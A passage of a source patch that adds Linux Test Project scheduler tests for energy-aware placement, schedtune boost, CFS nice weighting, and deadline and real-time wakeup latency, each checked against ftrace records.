+		rv |= (pct > MAX_INCORRECT_CLUSTER_PCT);
+		printf("Total time big task scheduled: %lld Time scheduled on "
+		       "little CPU: %lld (%d%%)\n", total_us[i],
+		       incorrect_us[i], pct);
+	}
+
+	return rv;
+}
+
+#define NUM_TASKS 5
+static void run(void)
+{
+	int i;
+	pthread_t tasks[NUM_TASKS];
+
+	tst_res(TINFO, "Maximum incorrect cluster time percentage: %d%%",
+		MAX_INCORRECT_CLUSTER_PCT);
+
+	printf("Tasks running for %d sec\n", BURN_SEC);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	for (i = 0; i < NUM_TASKS; i++)
+		SAFE_PTHREAD_CREATE(&tasks[i], NULL, task_fn, &task_tids[i]);
+	for (i = 0; i < NUM_TASKS; i++)
+		SAFE_PTHREAD_JOIN(tasks[i], NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Task placement goals were not met.\n");
+	else
+		tst_res(TPASS, "Task placement goals were met.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/run_tests.sh b/testcases/kernel/sched/eas/run_tests.sh
new file mode 100644
index 0000000..f6258dd
--- /dev/null
+++ b/testcases/kernel/sched/eas/run_tests.sh
@@ -0,0 +1,21 @@
+#!/bin/sh
+
+cd /data/nativetest64/ltp/testcases/bin
+
+./eas_one_small_task
+./eas_one_big_task
+./eas_small_to_big
+./eas_big_to_small
+./eas_small_big_toggle
+./eas_two_big_three_small
+
+./sched_cfs_prio
+./sched_dl_runtime
+./sched_latency_dl
+./sched_latency_rt
+./sched_prio_3_fifo
+./sched_prio_3_rr
+
+./sugov_latency
+./sugov_wakeups
+./sched_boost
diff --git a/testcases/kernel/sched/eas/sched_boost.c b/testcases/kernel/sched/eas/sched_boost.c
new file mode 100644
index 0000000..1f65b65
--- /dev/null
+++ b/testcases/kernel/sched/eas/sched_boost.c
@@ -0,0 +1,178 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A test schedboost cgroup is created and a task is put inside it. The
+ * utilization of that task is monitored and verified while changing the boost
+ * of the test schedboost cgroup to different values.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <semaphore.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_macros.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sugov_util_update sched_switch"
+
+static sem_t test_sem;
+static sem_t result_sem;
+static int test_cpu;
+static int task_pid;
+static unsigned int test_index = 0;
+static int test_boost[] = { 0, 25, 50, 75, 100 };
+#define NUM_TESTS (sizeof(test_boost)/sizeof(int))
+static int test_utils[NUM_TESTS];
+#define STUNE_TEST_PATH "/dev/stune/test"
+#define STUNE_ROOT_TASKS "/dev/stune/tasks"
+
+#define BUSY_USEC 1000
+#define SLEEP_USEC 19000
+/* Run each test for one second. */
+#define TEST_LENGTH_USEC USEC_PER_SEC
+static void do_work(void)
+{
+	struct timespec ts;
+	unsigned long long now_usec, end_usec;
+
+	/* Calculate overall end time. */
+	if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
+		printf("clock_gettime() reported an error\n");
+		return;
+	}
+	now_usec = ts.tv_sec * USEC_PER_SEC + ts.tv_nsec / 1000;
+	end_usec = now_usec + TEST_LENGTH_USEC;
+
+	while (now_usec < end_usec) {
+		burn(BUSY_USEC, 0);
+		usleep(SLEEP_USEC);
+		if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
+			printf("clock_gettime() reported an error\n");
+			return;
+		}
+		now_usec = ts.tv_sec * USEC_PER_SEC + ts.tv_nsec / 1000;
+	}
+}
+
+static void *test_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	unsigned int tests_done = 0;
+
+	affine(test_cpu);
+
+	task_pid = gettid();
+	SAFE_FILE_PRINTF(STUNE_TEST_PATH "/tasks", "%d", task_pid);
+	while(tests_done < NUM_TESTS) {
+		sem_wait(&test_sem);
+		do_work();
+		sem_post(&result_sem);
+		tests_done++;
+	}
+	SAFE_FILE_PRINTF(STUNE_ROOT_TASKS, "%d", task_pid);
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i;
+	int max_util_seen = 0;
+
+	for (i = 0; i < num_trace_records; i++)
+		if (trace[i].event_type == TRACE_RECORD_SUGOV_UTIL_UPDATE) {
+			struct trace_sugov_util_update *t =
+				trace[i].event_data;
+			if (t->cpu == test_cpu && t->util > max_util_seen)
+				max_util_seen = t->util;
+		}
+
+	test_utils[test_index] = max_util_seen;
+	printf("Max util seen for boost %d: %d\n", test_boost[test_index],
+	       max_util_seen);
+	return 0;
+}
+
+static void run_test(void)
+{
+	SAFE_FILE_PRINTF(STUNE_TEST_PATH "/schedtune.boost",
+			 "%d", test_boost[test_index]);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+	sem_post(&test_sem);
+	sem_wait(&result_sem);
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+	parse_results();
+	test_index++;
+}
+
+#define TEST_MARGIN 50
+static void check_results(void)
+{
+	unsigned int i;
+	for (i = 0; i < NUM_TESTS; i++) {
+		int target_util = test_boost[i] * 10;
+		if (test_utils[i] < target_util - TEST_MARGIN ||
+		    test_utils[i] > target_util + TEST_MARGIN)
+			tst_res(TFAIL, "Test %i (boost %d) failed with "
+				"util %d (allowed %d - %d).\n",
+				i, test_boost[i], test_utils[i],
+				target_util - TEST_MARGIN,
+				target_util + TEST_MARGIN);
+	}
+	tst_res(TPASS, "Boosted utilizations within expected range.");
+}
+
+static void run(void)
+{
+	pthread_t test_thread;
+
+	sem_init(&test_sem, 0, 0);
+	sem_init(&result_sem, 0, 0);
+
+	test_cpu = tst_ncpus() - 1;
+	printf("Running %ld tests for %d sec\n", NUM_TESTS,
+	       TEST_LENGTH_USEC / USEC_PER_SEC);
+	printf("CPU hog will be bound to CPU %d.\n", test_cpu);
+
+	/*
+	 * If this fails due to ENOSPC the definition of BOOSTGROUPS_COUNT in
+	 * kernel/sched/tune.c needs to be increased.
+	 */
+	SAFE_MKDIR(STUNE_TEST_PATH, 0777);
+	SAFE_FILE_PRINTF(STUNE_TEST_PATH "/schedtune.colocate",
+			 "0");
+	SAFE_FILE_PRINTF(STUNE_TEST_PATH "/schedtune.prefer_idle",
+			 "0");
+	SAFE_FILE_PRINTF(STUNE_TEST_PATH "/schedtune.sched_boost_enabled",
+			 "1");
+	SAFE_FILE_PRINTF(STUNE_TEST_PATH "/schedtune.sched_boost_no_override",
+			 "0");
+
+	SAFE_PTHREAD_CREATE(&test_thread, NULL, test_fn, NULL);
+
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+
+	while (test_index < NUM_TESTS)
+		run_test();
+
+	SAFE_PTHREAD_JOIN(test_thread, NULL);
+	SAFE_RMDIR(STUNE_TEST_PATH);
+	check_results();
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sched_cfs_prio.c b/testcases/kernel/sched/eas/sched_cfs_prio.c
new file mode 100644
index 0000000..92d2dce
--- /dev/null
+++ b/testcases/kernel/sched/eas/sched_cfs_prio.c
@@ -0,0 +1,211 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * Some CFS tasks are started with different priorities. The tasks are CPU hogs
+ * and affined to the same CPU. Their runtime is checked to see that it
+ * corresponds to that which is expected given the task priorities.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <semaphore.h>
+#include <stdlib.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+static int cfs_task_tids[4];
+/* If testing a nice value of -1, task_fn's use of nice() must be amended to
+ * check for an error properly. */
+static int nice_vals[] = { -15, -5, 5, 15 };
+/* These come from sched_prio_to_weight in kernel/sched/core.c. */
+static int prio_to_weight[] = { 29154, 3121, 335, 36 };
+
+#define TEST_TASK_SECONDS 5
+static void *task_fn(void *arg)
+{
+	int idx = (int *)arg - cfs_task_tids;
+
+	cfs_task_tids[idx] = gettid();
+
+	affine(0);
+	if (nice(nice_vals[idx]) != nice_vals[idx]) {
+		printf("Error calling nice(%d)\n", nice_vals[idx]);
+		return NULL;
+	}
+	burn(TEST_TASK_SECONDS * USEC_PER_SEC, 0);
+	return NULL;
+}
+
+#define LOWER_BOUND_PCT 80
+#define UPPER_BOUND_PCT 105
+#define LOWER_BOUND_US 20000
+#define UPPER_BOUND_US 30000
+
+int check_bounds(long long expected_us, long long runtime_us)
+{
+	int rv = 0;
+	long long lower_bound, lower_bound_pct, lower_bound_us;
+	long long upper_bound, upper_bound_pct, upper_bound_us;
+
+	lower_bound_pct = (LOWER_BOUND_PCT / (100 * expected_us));
+	lower_bound_us = (expected_us - LOWER_BOUND_US);
+	if (lower_bound_us > lower_bound_pct)
+		lower_bound = lower_bound_us;
+	else
+		lower_bound = lower_bound_pct;
+	upper_bound_pct = (UPPER_BOUND_PCT / (100 * expected_us));
+	upper_bound_us = (expected_us + UPPER_BOUND_US);
+	if (upper_bound_us > upper_bound_pct)
+		upper_bound = upper_bound_us;
+	else
+		upper_bound = upper_bound_pct;
+
+	if (runtime_us < lower_bound) {
+		printf("  lower bound of %lld ms not met\n",
+		       lower_bound/1000);
+		rv = 1;
+	}
+	if (runtime_us > upper_bound) {
+		printf("  upper bound of %lld ms exceeded\n",
+		       upper_bound/1000);
+		rv = 1;
+	}
+	return rv;
+}
+
+static int parse_results(void)
+{
+	int i, j, weight_sum;
+	int rv = 0;
+	unsigned long long start_ts_us[4] = { 0, 0, 0, 0 };
+	long long runtime_us[4] = { 0, 0, 0, 0 };
+	long long expected_us[4];
+
+	for (i = 0; i < num_trace_records; i++) {
+		struct trace_sched_switch *t = trace[i].event_data;
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+
+		for (j = 0; j < 4; j++) {
+			if (t->prev_pid == cfs_task_tids[j]) {
+				if (!start_ts_us[j]) {
+					printf("Trace parse error, start_ts_us "
+					       "unset at segment end!\n");
+					return -1;
+				}
+				runtime_us[j] += TS_TO_USEC(trace[i].ts) -
+					start_ts_us[j];
+				start_ts_us[j] = 0;
+			}
+			if (t->next_pid == cfs_task_tids[j]) {
+				if (start_ts_us[j]) {
+					printf("Trace parse error, start_ts_us "
+					       "already set at segment "
+					       "start!\n");
+					return -1;
+				}
+				start_ts_us[j] = TS_TO_USEC(trace[i].ts);
+			}
+		}
+	}
+
+	/*
+	 * Task prio to weight values are defined in the kernel at the end of
+	 * kernel/sched/core.c (as of 4.19).
+	 * -15: 29154
+	 *  -5: 3121
+	 *   5: 335
+	 *  15: 36
+	 *  Sum of weights: 29154 + 3121 + 335 + 36 = 32646
+	 *  Expected task runtime % (time with 5 second test):
+	 *  29154/32646 = 89.3%, 4465ms
+	 *  3121/32646 = 9.56%, 478ms
+	 *  335/32646 = 1.02%, 51ms
+	 *  36/32646 = 0.11%, 5.5ms
+	 */
+
+	weight_sum = 0;
+	for (i = 0; i < 4; i++)
+		weight_sum += prio_to_weight[i];
+	for (i = 0; i < 4; i++) {
+		/*
+		 * Expected task runtime:
+		 * (prio_to_weight[i] / weight_sum) * TEST_TASK_SECONDS
+		 */
+		expected_us[i] = TEST_TASK_SECONDS * USEC_PER_SEC;
+		expected_us[i] *= prio_to_weight[i];
+		expected_us[i] /= weight_sum;
+	}
+
+	printf("Task runtimes:\n");
+
+	printf("Task a (nice -15): %8lld ms (expected %8lld ms)\n",
+	       runtime_us[0] / 1000, expected_us[0] / 1000);
+	rv |= check_bounds(expected_us[0], runtime_us[0]);
+
+	printf("Task b (nice -5) : %8lld ms (expected %8lld ms)\n",
+	       runtime_us[1] / 1000, expected_us[1] / 1000);
+	rv |= check_bounds(expected_us[1], runtime_us[1]);
+
+	printf("Task c (nice 5)  : %8lld ms (expected %8lld ms)\n",
+	       runtime_us[2] / 1000, expected_us[2] / 1000);
+	rv |= check_bounds(expected_us[2], runtime_us[2]);
+
+	printf("Task d (nice 15) : %8lld ms (expected %8lld ms)\n",
+	       runtime_us[3] / 1000, expected_us[3] / 1000);
+	rv |= check_bounds(expected_us[3], runtime_us[3]);
+
+	return rv;
+}
+
+#define NUM_TASKS 4
+static void run(void)
+{
+	pthread_t tasks[NUM_TASKS];
+	int i;
+
+	printf("Running %d CFS tasks concurrently for %d sec\n",
+	       NUM_TASKS, TEST_TASK_SECONDS);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	for (i = 0; i < NUM_TASKS; i++)
+		SAFE_PTHREAD_CREATE(&tasks[i], NULL, task_fn,
+				    &cfs_task_tids[i]);
+	for (i = 0; i < NUM_TASKS; i++)
+		SAFE_PTHREAD_JOIN(tasks[i], NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Task runtimes not within allowed margins "
+			"of expected values.\n");
+	else
+		tst_res(TPASS, "Task runtimes within allowed margins "
+			"of expected values.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sched_dl_runtime.c b/testcases/kernel/sched/eas/sched_dl_runtime.c
new file mode 100644
index 0000000..27f0564
--- /dev/null
+++ b/testcases/kernel/sched/eas/sched_dl_runtime.c
@@ -0,0 +1,198 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A DL task runs. Its execution pattern is checked to see that the constraints
+ * it has been given (runtime, period, deadline) are satisfied.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <semaphore.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+static int dl_task_tid;
+
+/*
+ * It is not possible to restrict CPU affinity on SCHED_DEADLINE tasks, so we do
+ * not force the CFS and DL tasks to be on the same CPU in this test. CPUsets
+ * can be used to do this, perhaps implement that later.
+ */
+
+static void *dl_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	struct sched_attr attr;
+	struct timespec ts;
+	uint64_t now_usec, end_usec;
+
+	attr.size = sizeof(attr);
+	attr.sched_flags = 0;
+	attr.sched_nice = 0;
+	attr.sched_priority = 0;
+
+	attr.sched_policy = SCHED_DEADLINE;
+	attr.sched_runtime = 5000000;
+	attr.sched_period = 20000000;
+	attr.sched_deadline = 10000000;
+
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "DL START");
+	ERROR_CHECK(sched_setattr(0, &attr, 0));
+
+	dl_task_tid = gettid();
+
+	if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
+		printf("clock_gettime() reported an error\n");
+		return NULL;
+	}
+	now_usec = (ts.tv_sec) * USEC_PER_SEC + (ts.tv_nsec / 1000);
+	end_usec = now_usec + 3 * USEC_PER_SEC;
+	while (now_usec < end_usec) {
+		/* Run for 5ms */
+		burn(5000, 0);
+
+		/* Wait until next 20ms boundary. sched_yield() for DL tasks
+		 * throttles the task until its next period. */
+		sched_yield();
+		if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
+			printf("clock_gettime() reported an error\n");
+			return NULL;
+		}
+		now_usec = (ts.tv_sec) * USEC_PER_SEC + (ts.tv_nsec / 1000);
+	}
+
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i;
+	unsigned long long next_period_ts_us = 0;
+	unsigned long long next_deadline_ts_us = 0;
+	unsigned long long start_ts_us = 0;
+	unsigned long long period_exec_time_us = 0;
+	int periods_parsed = 0;
+
+	for (i = 0; i < num_trace_records; i++) {
+		if (trace[i].event_type == TRACE_RECORD_SCHED_SWITCH) {
+			struct trace_sched_switch *t = trace[i].event_data;
+			if (t->prev_pid == dl_task_tid) {
+				unsigned long long end_ts_us;
+				if (!start_ts_us) {
+					printf("Trace parse error, "
+					       "start_ts_us = 0\n");
+					return -1;
+				}
+				if (TS_TO_USEC(trace[i].ts) >
+				    next_period_ts_us) {
+					printf("Task ran past end of "
+					       "period!\n");
+					return -1;
+				}
+				end_ts_us = TS_TO_USEC(trace[i].ts);
+				if (end_ts_us > next_deadline_ts_us)
+					end_ts_us = next_deadline_ts_us;
+				if (start_ts_us > next_deadline_ts_us)
+					start_ts_us = next_deadline_ts_us;
+				period_exec_time_us +=
+					(end_ts_us - start_ts_us);
+				start_ts_us = 0;
+			}
+		}
+		if (next_period_ts_us &&
+		    TS_TO_USEC(trace[i].ts) > next_period_ts_us) {
+			if (start_ts_us) {
+				printf("Task was running across period boundary!\n");
+				return -1;
+			}
+			if (period_exec_time_us < 5000) {
+				printf("Missed deadline at %llu!\n",
+				       next_deadline_ts_us);
+				return -1;
+			}
+			periods_parsed++;
+			next_deadline_ts_us += 20000;
+			next_period_ts_us += 20000;
+		}
+		if (trace[i].event_type == TRACE_RECORD_SCHED_SWITCH) {
+			struct trace_sched_switch *t = trace[i].event_data;
+			if (t->next_pid == dl_task_tid) {
+
+				if (start_ts_us) {
+					printf("Trace parse error, "
+					       "start_ts_us != 0\n");
+					return -1;
+				}
+				start_ts_us = TS_TO_USEC(trace[i].ts);
+				if (!next_period_ts_us) {
+					/*
+					 * Initialize period and deadline the
+					 * first time the DL task runs.
+					 */
+					next_period_ts_us = start_ts_us + 20000;
+					next_deadline_ts_us = start_ts_us +
+						10000;
+				}
+			}
+		}
+	}
+	if (periods_parsed >= 149)
+		printf("%d periods parsed successfully.\n", periods_parsed);
+	else
+		printf("Only %d periods parsed successfully.\n",
+		       periods_parsed);
+	return 0;
+}
+
+static void run(void)
+{
+	pthread_t dl_thread;
+	pthread_attr_t dl_thread_attrs;
+	struct sched_param dl_thread_sched_params;
+
+	ERROR_CHECK(pthread_attr_init(&dl_thread_attrs));
+	ERROR_CHECK(pthread_attr_setinheritsched(&dl_thread_attrs,
+						 PTHREAD_EXPLICIT_SCHED));
+	ERROR_CHECK(pthread_attr_setschedpolicy(&dl_thread_attrs,
+						SCHED_FIFO));
+	dl_thread_sched_params.sched_priority = 80;
+	ERROR_CHECK(pthread_attr_setschedparam(&dl_thread_attrs,
+					       &dl_thread_sched_params));
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&dl_thread, NULL, dl_fn, NULL);
+	SAFE_PTHREAD_JOIN(dl_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "DL task did not execute as expected.\n");
+	else
+		tst_res(TPASS, "DL task ran as expected.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sched_latency_dl.c b/testcases/kernel/sched/eas/sched_latency_dl.c
new file mode 100644
index 0000000..486c4cf
--- /dev/null
+++ b/testcases/kernel/sched/eas/sched_latency_dl.c
@@ -0,0 +1,164 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A DL task and a CFS task are created and affined to the same CPU. The CFS
+ * task is a CPU hog. The latency to switch to the DL task (which should preempt
+ * the CFS task immediately) is checked.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <semaphore.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_wakeup sched_switch"
+
+#define MAX_EXEC_LATENCY_US 100
+
+static int dl_task_tid;
+static sem_t sem;
+
+/*
+ * It is not possible to restrict CPU affinity on SCHED_DEADLINE tasks, so we do
+ * not force the CFS and DL tasks to be on the same CPU in this test. CPUsets
+ * can be used to do this, perhaps implement that later.
+ */
+
+static void *dl_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	struct sched_attr attr;
+
+	attr.size = sizeof(attr);
+	attr.sched_flags = 0;
+	attr.sched_nice = 0;
+	attr.sched_priority = 0;
+
+	attr.sched_policy = SCHED_DEADLINE;
+	attr.sched_runtime = 10000000;
+	attr.sched_period = 30000000;
+	attr.sched_deadline = 30000000;
+
+	ERROR_CHECK(sched_setattr(0, &attr, 0));
+
+	dl_task_tid = gettid();
+	sem_wait(&sem);
+	return NULL;
+}
+
+static void *cfs_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	usleep(5000);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "WAKING");
+	sem_post(&sem);
+
+	burn(USEC_PER_SEC, 0);
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i;
+	unsigned long long dl_wakeup_ts_us = 0;
+	unsigned long long dl_exec_ts_us = 0;
+	unsigned long dl_exec_latency_us;
+
+	for (i = 0; i < num_trace_records; i++) {
+		if (trace[i].event_type == TRACE_RECORD_SCHED_WAKEUP) {
+			struct trace_sched_wakeup *t = trace[i].event_data;
+			if (t->pid != dl_task_tid)
+				continue;
+			dl_wakeup_ts_us = TS_TO_USEC(trace[i].ts);
+			continue;
+		}
+		if (dl_wakeup_ts_us &&
+		    trace[i].event_type == TRACE_RECORD_SCHED_SWITCH) {
+			struct trace_sched_switch *t = trace[i].event_data;
+			if (t->next_pid != dl_task_tid)
+				continue;
+			if (!dl_wakeup_ts_us) {
+				printf("DL task woke without being woken!\n");
+				return -1;
+			}
+			dl_exec_ts_us = TS_TO_USEC(trace[i].ts);
+			break;
+		}
+	}
+	if (!dl_wakeup_ts_us || !dl_exec_ts_us) {
+		printf("DL task either wasn't woken or didn't wake up.\n");
+		return -1;
+	}
+	dl_exec_latency_us = dl_exec_ts_us - dl_wakeup_ts_us;
+	printf("DL exec latency: %ld usec\n", dl_exec_latency_us);
+	return (dl_exec_latency_us > MAX_EXEC_LATENCY_US);
+}
+
+static void run(void)
+{
+	pthread_t cfs_thread;
+	pthread_t dl_thread;
+	pthread_attr_t cfs_thread_attrs;
+	pthread_attr_t dl_thread_attrs;
+	struct sched_param cfs_thread_sched_params;
+	struct sched_param dl_thread_sched_params;
+
+	ERROR_CHECK(pthread_attr_init(&cfs_thread_attrs));
+	ERROR_CHECK(pthread_attr_setinheritsched(&cfs_thread_attrs,
+						 PTHREAD_EXPLICIT_SCHED));
+	ERROR_CHECK(pthread_attr_setschedpolicy(&cfs_thread_attrs,
+						SCHED_OTHER));
+	cfs_thread_sched_params.sched_priority = 0;
+	ERROR_CHECK(pthread_attr_setschedparam(&cfs_thread_attrs,
+					       &cfs_thread_sched_params));
+
+	ERROR_CHECK(pthread_attr_init(&dl_thread_attrs));
+	ERROR_CHECK(pthread_attr_setinheritsched(&dl_thread_attrs,
+						 PTHREAD_EXPLICIT_SCHED));
+	ERROR_CHECK(pthread_attr_setschedpolicy(&dl_thread_attrs,
+						SCHED_FIFO));
+	dl_thread_sched_params.sched_priority = 80;
+	ERROR_CHECK(pthread_attr_setschedparam(&dl_thread_attrs,
+					       &dl_thread_sched_params));
+
+	sem_init(&sem, 0, 0);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&cfs_thread, &cfs_thread_attrs, cfs_fn, NULL);
+	SAFE_PTHREAD_CREATE(&dl_thread, &dl_thread_attrs, dl_fn, NULL);
+	SAFE_PTHREAD_JOIN(cfs_thread, NULL);
+	SAFE_PTHREAD_JOIN(dl_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "DL task did not execute within expected "
+			"latency of %d usec.\n", MAX_EXEC_LATENCY_US);
+	else
+		tst_res(TPASS, "DL task executed within expected latency "
+			"of %d usec.\n", MAX_EXEC_LATENCY_US);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sched_latency_rt.c b/testcases/kernel/sched/eas/sched_latency_rt.c
new file mode 100644
index 0000000..3a5a91f
--- /dev/null
+++ b/testcases/kernel/sched/eas/sched_latency_rt.c
@@ -0,0 +1,146 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A CFS task and an RT task are created and affined to the same CPU. The CFS
+ * task is a CPU hog. The latency for the RT task to execute after it has been
+ * woken is measured and verified.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <semaphore.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_wakeup sched_switch"
+
+#define MAX_EXEC_LATENCY_US 100
+
+static int rt_task_tid;
+static sem_t sem;
+
+static void *rt_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	rt_task_tid = gettid();
+	affine(0);
+	sem_wait(&sem);
+	return NULL;
+}
+
+#define BURN_MSEC 1000
+static void *cfs_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	affine(0);
+
+	usleep(5000);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "WAKING");
+	sem_post(&sem);
+
+	burn(USEC_PER_SEC, 0);
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i;
+	unsigned long long rt_wakeup_ts_us = 0;
+	unsigned long long rt_exec_ts_us = 0;
+	unsigned long rt_exec_latency_us;
+
+	for (i = 0; i < num_trace_records; i++) {
+		if (trace[i].event_type == TRACE_RECORD_SCHED_WAKEUP) {
+			struct trace_sched_wakeup *t = trace[i].event_data;
+			if (t->pid != rt_task_tid)
+				continue;
+			rt_wakeup_ts_us = TS_TO_USEC(trace[i].ts);
+			continue;
+		}
+		if (rt_wakeup_ts_us &&
+		    trace[i].event_type == TRACE_RECORD_SCHED_SWITCH) {
+			struct trace_sched_switch *t = trace[i].event_data;
+			if (t->next_pid != rt_task_tid)
+				continue;
+			if (!rt_wakeup_ts_us) {
+				printf("RT task woke without being woken!\n");
+				return -1;
+			}
+			rt_exec_ts_us = TS_TO_USEC(trace[i].ts);
+			break;
+		}
+	}
+	if (!rt_wakeup_ts_us || !rt_exec_ts_us) {
+		printf("RT task either wasn't woken or didn't wake up.\n");
+		return -1;
+	}
+	rt_exec_latency_us = rt_exec_ts_us - rt_wakeup_ts_us;
+	printf("RT exec latency: %ld usec\n", rt_exec_latency_us);
+	return (rt_exec_latency_us > MAX_EXEC_LATENCY_US);
+}
+
+static void run(void)
+{
+	pthread_t cfs_thread;
+	pthread_t rt_thread;
+	pthread_attr_t cfs_thread_attrs;
+	pthread_attr_t rt_thread_attrs;
+	struct sched_param cfs_thread_sched_params;
+	struct sched_param rt_thread_sched_params;
+
+	ERROR_CHECK(pthread_attr_init(&cfs_thread_attrs));
+	ERROR_CHECK(pthread_attr_setinheritsched(&cfs_thread_attrs,
+						 PTHREAD_EXPLICIT_SCHED));
+	ERROR_CHECK(pthread_attr_setschedpolicy(&cfs_thread_attrs,
+						SCHED_OTHER));
